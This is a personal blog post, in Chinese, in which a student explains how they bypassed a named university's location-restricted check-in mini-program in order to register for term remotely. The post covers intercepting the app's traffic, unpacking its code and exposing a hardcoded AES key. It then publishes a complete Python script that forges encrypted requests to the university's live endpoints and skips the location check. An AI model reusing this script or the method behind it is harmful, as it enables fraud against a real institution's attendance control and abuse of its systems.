记一次在家搞返校报到

怎么 2 月没有 29 号和 30 号的。

寒假将尽

今年的春节本来也晚,2 月 25 号左右看了下学校好像最晚 3 月初报到,就觉得还有很久,后来才发现 28 号直接跳到 3 月 1 号了,此时已经来不及了,碰巧月末刚好是周末,匆匆赶上去觉得太挤,就心一横,打算研究一下改定位报到的事。

安卓人、安卓手机和安卓电脑

问了一下前两年毕业的老登,都说是用苹果来搞的,用的什么爱思助手 (有没有配套的爱慕助手)
但是本人是安卓人,用的安卓手机和安卓电脑,于是就打算在 Windows 上试试先,实在不行再找苹果人借一台苹果手机和苹果电脑。

PC 端抓包

然后发现企微的小程序确实是能调用电脑的摄像头,但是不能获取位置信息,我也不知道怎么让他能获取到。
打开 Proxyman 尝试抓包,但是除了能看到获取列表信息和报到的信息外也没别的请求了。

移动端抓包

上 B 站搜了一下手机抓包,看到有用 httpcanary(现已经更名为reqable)抓包的,装好证书开始抓包后,发现居然弹一个和电脑一样的报错框,说无法获取位置信息。
观察了两次后,发现小程序会先往 lbs.map.qq.com 发一个请求,如果证书不对劲,这个连接就会直接中断。于是配了一下 SSL 的规则,只拦截 *.sysu.edu.cn 就好了。

能看到小程序在获取位置信息后,往 /sign/submitPosition 路由发了个请求,然后非常自然地弹出不在校区内的信息框。把这个请求复制出来,只看到请求体有一个 sKey 参数,值被加密了,当时比较困,以为里面只是类似 token 的身份信息,就睡觉先了。

小程序解包源码

第二天睡醒继续搞,思路是要拿到前端的源代码,才能搞懂他的逻辑。根据群友 @xy3 提供的文章 https://blog.cccyun.cn/m/?post=473 试了一下小程序解包,发现 wedecode 已经可以直接一把梭了,不用文章前面提到的解密程序处理。

wedecode 安装方式:

1
npm i wedecode -g # 记得装 nodejs

找了半天忘记用的是企业微信了,还在微信的目录里盯,于是在企微的文件夹(默认应该是 C:\Users\用户名\Documents\WXWork) 下打开终端,然后启动 wedecode,选择指定目录扫描,再输一个 . 表示当时目录,直接就定位到了签到的小程序,然后按一下 Enter 就直接顺利解包了。

小程序的开发框架有点类似 React 和 Vue,之前也简单学过 Vue 开发,所以看起小程序源码来也不难理解。在 /app.js 中看到如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var t = require("./utils/common/util");
App({
onLaunch: function() {
var t = wx.getSystemInfoSync();
this.globalData.statusBarHeight = t.statusBarHeight
},
globalData: {
userInfo: null,
sAESKey: "73683132333435363738393031323334",
header: {
"content-type": "application/x-www-form-urlencoded"
},
httpUrl: "https://facerecog.sysu.edu.cn"
},
encode: function(e) {
return t.AESUtils.encodeECB(e, this.globalData.sAESKey)
}
});

然后找到 encode() 函数的调用处,即 /utils/service/request.js 中看到如下代码片段:

1
2
3
4
if (0 !== Object.keys(o).length) {
var m = c.encode(Object.values(o).join("##") + "##" + (new Date).getTime());
b.sKey = m
}

这时就可以看出来之前看到的 sKey 其实是参数通过 AES ECB mode 加密后的东西,并且密钥 sh12345678901234硬编码的,用 CyberChef 尝试解密了一下果然没问题,那后面的工作就更方便了。

接下来查看核心代码 /pages/sign-in/sign-in.js,看到如下片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
reportFn: function(t, e, a, s, c, r) {
var l = this;
i.default.submitPosition({
sPersonCode: t,
sActId: e,
wifiName: a,
longitude: s,
latitude: c
}, {
hideLoading: !0
}).then((function(a) {
1 === a.code ? (1 === r && (0, n.creteImage2)(o.globalData.imgSrc, 1024, 1024, (function(a) {
i.default.submitSignFace({
sPersonCode: t,
sActId: e
}, {
sImage: a,
hideLoading: !0
}).then((function(t) {
1 === t.code ? l.getSignInfo(e) : l.setTime(), l.setData({
isShow: !0,
status: t.code,
text: t.msg
}), o.globalData.imgSrc = "", wx.hideLoading()
}))
})), 1 !== r && (o.globalData.imgSrc = "", l.setData({
isShow: !0,
status: a.code,
text: a.msg
}), l.getSignInfo(e), wx.hideLoading())) : (l.setTime(), (0, n.showModal)({
content: a.msg
}), wx.hideLoading())
}))
}

大概可以看出来流程如下:

  1. /sign/submitPosition 发一个带学号、活动 ID、WIFI 名(后台决定是否启用)和经纬度信息的请求;
  2. 若上面请求返回值为 0,则往 /sign/submitSignFace 发一个带学号、活动 ID 和人脸图片的请求;
  3. 若上面请求返回值为 0,则显示报到成功。

那么可以猜想,位置信息本质其实还是在本地做校验。根据这个思路,使用 requable 的重写功能改包,规则为发往 /sign/submitPosition 的请求返回值全部改为 0,然后就显示成功报到了。

基于此,实际上写一个脚本直接往 /sign/submitSignFace 发送学号和人脸信息即可。

搞定

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
"""
【免责声明】
本脚本仅用于学习和技术交流使用,严禁用于任何商业用途、非法用途。
使用本脚本应遵守相关法律法规及平台规则,请勿侵犯他人合法权益。
作者不对因使用本脚本导致的任何后果承担责任,使用前请自行评估风险。

【使用说明】
1. 确保安装依赖: pip install pycryptodome
2. 准备人脸图片并放在代码同级目录,并命名为 face.jpg
"""

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
from datetime import datetime
import requests as req
import base64

def getActID(stuID: str):
timestamp = int(datetime.now().timestamp())
plain = f"{stuID}##{timestamp}"
cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex()

url = "https://facerecog.sysu.edu.cn/sign/getActivityList"
headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
"Accept-Encoding": "gzip,compress,br,deflate",
"charset": "utf-8"
}
data = {
"sKey": m
}

res = req.post(url=url, data=data, headers=headers)
print(res.status_code)
return res.json()["data"]["rows"][0]["sActId"]

def submitGPS(stuID: str, actID: str):
timestamp = int(datetime.now().timestamp())
# https://lbs.qq.com/getPoint/
plain = f"{stuID}##{actID}####113.9539##22.801604##{timestamp}"
cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex()

url = "https://facerecog.sysu.edu.cn/sign/submitPosition"
headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
"Accept-Encoding": "gzip,compress,br,deflate",
"charset": "utf-8"
}
data = {
"sKey": m
}

res = req.post(url=url, data=data, headers=headers)
print(res.status_code)
print(res.text)

def image_to_base64(image_path):
try:
with open(image_path, 'rb') as f:
# 读取图片字节并转换为Base64
base64_data = base64.b64encode(f.read()).decode('utf-8')
return base64_data
except Exception as e:
print(f"图片转Base64失败:{str(e)}")
return None

def submitFace(stuID: str, actID: str):
timestamp = int(datetime.now().timestamp())
base64_image = image_to_base64("face.jpg")
plain = f"{stuID}##{actID}##{timestamp}"
cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
m = cipher.encrypt(pad(plain.encode(), AES.block_size))
m = m.hex()

url = "https://facerecog.sysu.edu.cn/sign/submitSignFace"
headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
"Accept-Encoding": "gzip,compress,br,deflate",
"charset": "utf-8"
}
data = {
"sKey": m,
"sImage": f"data:image/jpeg;base64,{base64_image}"
}

res = req.post(url=url, data=data, headers=headers)
print(res.status_code)
print(res.text)

if __name__ == "__main__":
stuID = input("学号:")
actID = getActID(stuID)
# submitGPS(stuID, actID) # useless, enable to complete the entire interaction, if you want
submitFace(stuID, actID)

花絮

一开始没看出来不需要发送位置信息,一直在研究 /sign/submitPosition 路由的请求,但是把经纬度改了几次都不对,百度地图和谷歌地图的经纬度都试过了,然后忽然想到他用的是腾讯位置服务,于是在网站 https://lbs.qq.com/getPoint/ 用坐标拾取器拿到经纬度交上去就通过了。

以及我的 GitHub Edu 还没续上,没有 Copilot,什么 AI inline suggestion 都没有,写起代码真是费劲多了,还好哥们密码题和 Web 题的解题脚本写得多,不然真写不下去。

作者

未央

发布于

2026-02-28

更新于

2026-03-01

许可协议

评论